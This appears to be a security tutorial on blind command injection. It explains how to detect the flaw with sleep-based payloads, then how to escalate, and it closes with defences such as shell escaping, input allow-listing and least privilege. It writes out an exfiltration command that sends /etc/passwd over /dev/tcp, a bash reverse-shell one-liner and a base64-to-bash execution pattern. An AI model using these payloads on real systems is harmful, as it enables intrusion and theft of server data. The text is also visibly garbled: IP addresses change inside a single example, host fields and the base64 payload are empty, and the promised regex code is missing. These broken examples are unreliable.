Executing a Command Injection attack simply means running a system command on someone’s server through a web application or some other exploitable application running on that server. Executing a Blind Command Injection attack means that you are unable to see the output of the command you’ve run on the server.
This is one of the reasons why you should always set up your server with multiple user accounts, so different processes that don’t need access to each other’s files and commands don’t get that access. A web application especially should never have root permissions.
Finding a vulnerability
We’re going to try to attack a server through a website. The vulnerability most often exists in form inputs. When an unsanitized input is sent to a function like exec, which executes system commands, then the application is vulnerable to command injection. This occurs in various situations, for example:
in pinging and network services
in file uploads where external tools are used to crop or modify the image
The most common way to exploit command injection is by adding a ; sign and a command in the form field. A semicolon separates commands, and thus signals the start of a new command, and therefore the command you inject will be run. Another way is to use the $() syntax – anything inside $() will be executed and the output will be put into the command. For example echo "hello, I am $(whoami)" outputs “hello, I am
“. An easy way to detect this type of vulnerability is by typing in $(sleep 5). If it takes 5 seconds to complete the request, then the input is vulnerable. Additionally, we can do $(sleep 5; echo ) so the input doesn’t change (and therefore the command doesn’t fail), but there’s still a delay.
What’s happening behind the scenes? Let’s take a pinging command for example: exec('ping ' + inputIpAddress)
If inputIpAddress is ‘18.104.22.168’, then the command will look like this: ping 22.214.171.124
However, if the inputIpAddress is $(sleep 5; echo 126.96.36.199), then the command will look like this: ping $(sleep 5; echo 188.8.131.52), and after the $() expression evaluates (which will take 5 seconds), then the evaluated command will look like this: ping 184.108.40.206.
Of course, if $() doesn’t work (because of blacklisting, for example), we can also try to inject ;sleep 5 or `sleep 5` or… let’s just say there are a lot of options.
Taking it one step further
Of course, identifying the vulnerability is just the beginning. The next step is usually gaining shell access to the server and exfiltrating data. This means connecting back to yourself from the hacked server. The most simplistic way to exfiltrate data may be to have the server send you the files you want to receive. For that, let’s listen to incoming connections with netcat -lnvp. Then, on the vulnerable server, we should execute the following command: cat /etc/passwd > /dev/tcp// This will send the contents of /etc/passwd to you. cat is a command which reads a file.
For reverse shells, there are various options but one of the most common ones is: /bin/bash -i >& /dev/tcp// 0>&1 You will again have to listen to incoming connections with netcat -lnvp. Keep in mind that for this to work: 1) Bash needs to be installed on the target server. 2) The target server needs to be able to connect to you. Usually, penetration testers will either be in the same network as the target server, or they will have their own server running, which can be publicly reached.
A way to make these command injections more reliable is by base64 encoding it. So the final payload will look something like this: echo | base64 -d | /bin/bash We’re piping the base64 encoded payload to base64 -d, which decodes the payload. Then we’re piping the decoded payload to bash, which will execute it. With a reverse shell, we will be able to interactively run commands and see the output.
Protecting against command injection
There are many ways to protect against this:
Don’t run system commands
Well, obviously this is perfect protection, but not exactly plausible in every situation. Just make sure you really need to execute system commands before implementing them. Usually, you can instead use some library meant for your task.
In npm there is a package called shell-escape, which escapes any malicious input.
constshellescape=require('shell-escape'); constargs=['echo','hello!','how are you doing $USER','"double"',"'single'"]; constescaped=shellescape(args);
The escaped string can now be safely inputted into an exec function.
Validate user input
If there is no way around executing system commands then you need to make sure the user has not written any malicious code into a form field. The easiest way is to just check for suspicious symbols like ; and #. This is called blacklisting. To be really sure however you’ll need to instead make sure what kind of strings are allowed and whitelist the symbols. For example, if your command accepts a filename then you need to whitelist letters, numbers and the dot.
Here’s a node.js example with Regex where a user can delete a file:
Regex can get complicated so make sure you have a teammate or coworker review your code and if possible have a tester try their tricks and hacks on it too.
Keep user permissions separate
As a precaution, it helps for the administrator of the server to keep the user accounts separate when possible. Most importantly the web application should have no more permissions than absolutely necessary. Especially don’t give it root permissions – that’s just an accident waiting to happen.
Command Injection is an incredibly dangerous vulnerability. Even if the attacker is unable to view the server’s response, as is the case with Blind Command Injection, it does not stop him much at all. Nonetheless, it is fairly easy to avoid. By minimizing the use of functions that execute system commands and sanitizing user input, we can avoid our servers being taken over.